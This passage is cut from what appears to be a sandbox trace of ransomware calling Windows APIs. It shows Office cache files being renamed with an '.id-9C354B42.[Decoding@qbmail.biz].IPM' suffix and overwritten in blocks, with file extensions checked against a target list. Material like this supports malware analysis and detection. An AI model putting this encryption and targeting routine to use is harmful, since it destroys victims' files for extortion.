Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0080.918] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0080.918] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0080.918] lstrlenW (lpString=".doc") returned 4 [0080.918] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0080.918] lstrlenW (lpString=".docx") returned 5 [0080.918] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0080.918] lstrlenW (lpString=".pdf") returned 4 [0080.918] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0080.918] lstrlenW (lpString=".xls") returned 4 [0080.918] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0080.918] lstrlenW (lpString=".xlsx") returned 5 [0080.919] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0080.919] lstrlenW (lpString=".ppt") returned 4 [0080.919] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0080.919] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0080.919] lstrlenW (lpString=".zip") returned 4 [0080.919] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0080.919] lstrlenW (lpString=".rar") returned 4 [0080.919] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0080.919] lstrlenW (lpString=".bz2") returned 4 [0080.919] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0080.919] lstrlenW (lpString=".7z") returned 3 [0080.919] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0080.919] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0080.919] lstrlenW (lpString=".dbf") returned 4 [0080.919] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0080.919] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0080.919] lstrlenW (lpString=".1cd") returned 4 [0080.919] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0080.919] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0080.919] lstrlenW (lpString=".jpg") returned 4 [0080.920] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0080.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0080.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0080.920] lstrlenW (lpString=".doc") returned 4 [0080.920] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0080.920] lstrlenW (lpString=".docx") returned 5 [0080.920] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0080.920] lstrlenW (lpString=".pdf") returned 4 [0080.920] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0080.920] lstrlenW (lpString=".xls") returned 4 [0080.920] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0080.920] lstrlenW (lpString=".xlsx") returned 5 [0080.920] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0080.920] lstrlenW (lpString=".ppt") returned 4 [0080.920] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0080.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0080.920] lstrlenW (lpString=".zip") returned 4 [0080.920] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0080.920] lstrlenW (lpString=".rar") returned 4 [0080.921] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0080.921] lstrlenW (lpString=".bz2") returned 4 [0080.921] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0080.921] lstrlenW (lpString=".7z") returned 3 [0080.921] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0080.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0080.921] lstrlenW (lpString=".dbf") returned 4 [0080.921] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0080.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0080.921] lstrlenW (lpString=".1cd") returned 4 [0080.921] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0080.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0080.921] lstrlenW (lpString=".jpg") returned 4 [0080.921] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0080.921] lstrcmpiW (lpString1=".msi", lpString2=".IPM") returned 1 [0080.922] lstrlenW (lpString="WordMUI.msi") returned 11 [0080.922] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0080.922] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=2522624) returned 1 [0080.922] CloseHandle (hObject=0x1c0) returned 1 [0080.923] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0080.923] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0080.923] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0080.924] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0080.924] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0080.924] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0080.924] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3c90058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0081.280] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0081.280] ReadFile (in: hFile=0x1c0, lpBuffer=0x3cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cd0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0081.308] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0081.308] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0081.308] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d10058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0082.304] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0082.305] WriteFile (in: hFile=0x1c0, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0082.550] SetEndOfFile (hFile=0x1c0) returned 1 [0082.550] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f94010 [0082.560] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0082.560] WriteFile (in: hFile=0x1c0, lpBuffer=0x3f94010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f94010*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0082.565] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0082.565] WriteFile (in: hFile=0x1c0, lpBuffer=0x3f94010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f94010*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0083.036] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0083.037] WriteFile (in: hFile=0x1c0, lpBuffer=0x3f94010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f94010*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0083.044] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f94010 | out: hHeap=0x5d0000) returned 1 [0083.152] CloseHandle (hObject=0x1c0) returned 1 [0084.041] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0084.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.042] lstrlenW (lpString=".doc") returned 4 [0084.042] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0084.042] lstrlenW (lpString=".docx") returned 5 [0084.042] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0084.042] lstrlenW (lpString=".pdf") returned 4 [0084.042] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0084.042] lstrlenW (lpString=".xls") returned 4 [0084.042] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0084.042] lstrlenW (lpString=".xlsx") returned 5 [0084.042] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0084.042] lstrlenW (lpString=".ppt") returned 4 [0084.042] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0084.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.042] lstrlenW (lpString=".zip") returned 4 [0084.042] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0084.042] lstrlenW (lpString=".rar") returned 4 [0084.042] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0084.043] lstrlenW (lpString=".bz2") returned 4 [0084.043] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0084.043] lstrlenW (lpString=".7z") returned 3 [0084.043] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0084.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.043] lstrlenW (lpString=".dbf") returned 4 [0084.043] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0084.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.043] lstrlenW (lpString=".1cd") returned 4 [0084.043] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0084.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.043] lstrlenW (lpString=".jpg") returned 4 [0084.043] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0084.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.043] lstrlenW (lpString=".doc") returned 4 [0084.044] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0084.044] lstrlenW (lpString=".docx") returned 5 [0084.044] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0084.044] lstrlenW (lpString=".pdf") returned 4 [0084.044] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0084.044] lstrlenW (lpString=".xls") returned 4 [0084.044] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0084.044] lstrlenW (lpString=".xlsx") returned 5 [0084.044] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0084.044] lstrlenW (lpString=".ppt") returned 4 [0084.044] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0084.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.044] lstrlenW (lpString=".zip") returned 4 [0084.044] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0084.044] lstrlenW (lpString=".rar") returned 4 [0084.044] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0084.045] lstrlenW (lpString=".bz2") returned 4 [0084.045] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0084.045] lstrlenW (lpString=".7z") returned 3 [0084.045] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0084.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.045] lstrlenW (lpString=".dbf") returned 4 [0084.045] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0084.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.045] lstrlenW (lpString=".1cd") returned 4 [0084.045] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0084.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.045] lstrlenW (lpString=".jpg") returned 4 [0084.045] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0084.046] lstrcmpiW (lpString1=".cab", lpString2=".IPM") returned -1 [0084.046] lstrlenW (lpString="Proof.cab") returned 9 [0084.046] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0084.443] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=13642474) returned 1 [0084.443] CloseHandle (hObject=0x1f0) returned 1 [0084.444] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0084.444] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0084.444] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0084.725] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0084.725] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0084.726] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0084.726] ReadFile (in: hFile=0x1f0, lpBuffer=0x3c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3c90058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0084.794] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0084.794] ReadFile (in: hFile=0x1f0, lpBuffer=0x3cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cd0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0084.898] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0084.898] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0084.898] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d10058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0085.089] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0085.090] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x32afcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0085.632] SetEndOfFile (hFile=0x1f0) returned 1 [0085.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fa4018 [0086.097] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0086.097] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fa4018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa4018*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0086.215] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0086.215] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fa4018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa4018*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0086.216] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0086.216] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fa4018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa4018*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0086.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fa4018 | out: hHeap=0x5d0000) returned 1 [0086.219] CloseHandle (hObject=0x1f0) returned 1 [0092.015] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0092.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.015] lstrlenW (lpString=".doc") returned 4 [0092.015] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0092.015] lstrlenW (lpString=".docx") returned 5 [0092.015] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0092.015] lstrlenW (lpString=".pdf") returned 4 [0092.015] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0092.015] lstrlenW (lpString=".xls") returned 4 [0092.015] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0092.015] lstrlenW (lpString=".xlsx") returned 5 [0092.016] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0092.016] lstrlenW (lpString=".ppt") returned 4 [0092.016] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0092.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.016] lstrlenW (lpString=".zip") returned 4 [0092.016] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0092.016] lstrlenW (lpString=".rar") returned 4 [0092.016] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0092.016] lstrlenW (lpString=".bz2") returned 4 [0092.016] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0092.016] lstrlenW (lpString=".7z") returned 3 [0092.016] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0092.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.016] lstrlenW (lpString=".dbf") returned 4 [0092.016] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0092.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.016] lstrlenW (lpString=".1cd") returned 4 [0092.016] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0092.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.016] lstrlenW (lpString=".jpg") returned 4 [0092.016] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0092.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.016] lstrlenW (lpString=".doc") returned 4 [0092.016] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0092.016] lstrlenW (lpString=".docx") returned 5 [0092.016] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0092.016] lstrlenW (lpString=".pdf") returned 4 [0092.016] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0092.016] lstrlenW (lpString=".xls") returned 4 [0092.017] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0092.017] lstrlenW (lpString=".xlsx") returned 5 [0092.017] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0092.017] lstrlenW (lpString=".ppt") returned 4 [0092.017] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0092.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.017] lstrlenW (lpString=".zip") returned 4 [0092.017] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0092.017] lstrlenW (lpString=".rar") returned 4 [0092.017] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0092.017] lstrlenW (lpString=".bz2") returned 4 [0092.017] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0092.017] lstrlenW (lpString=".7z") returned 3 [0092.017] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0092.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.017] lstrlenW (lpString=".dbf") returned 4 [0092.017] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0092.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.017] lstrlenW (lpString=".1cd") returned 4 [0092.017] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0092.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0092.017] lstrlenW (lpString=".jpg") returned 4 [0092.017] lstrcmpiW 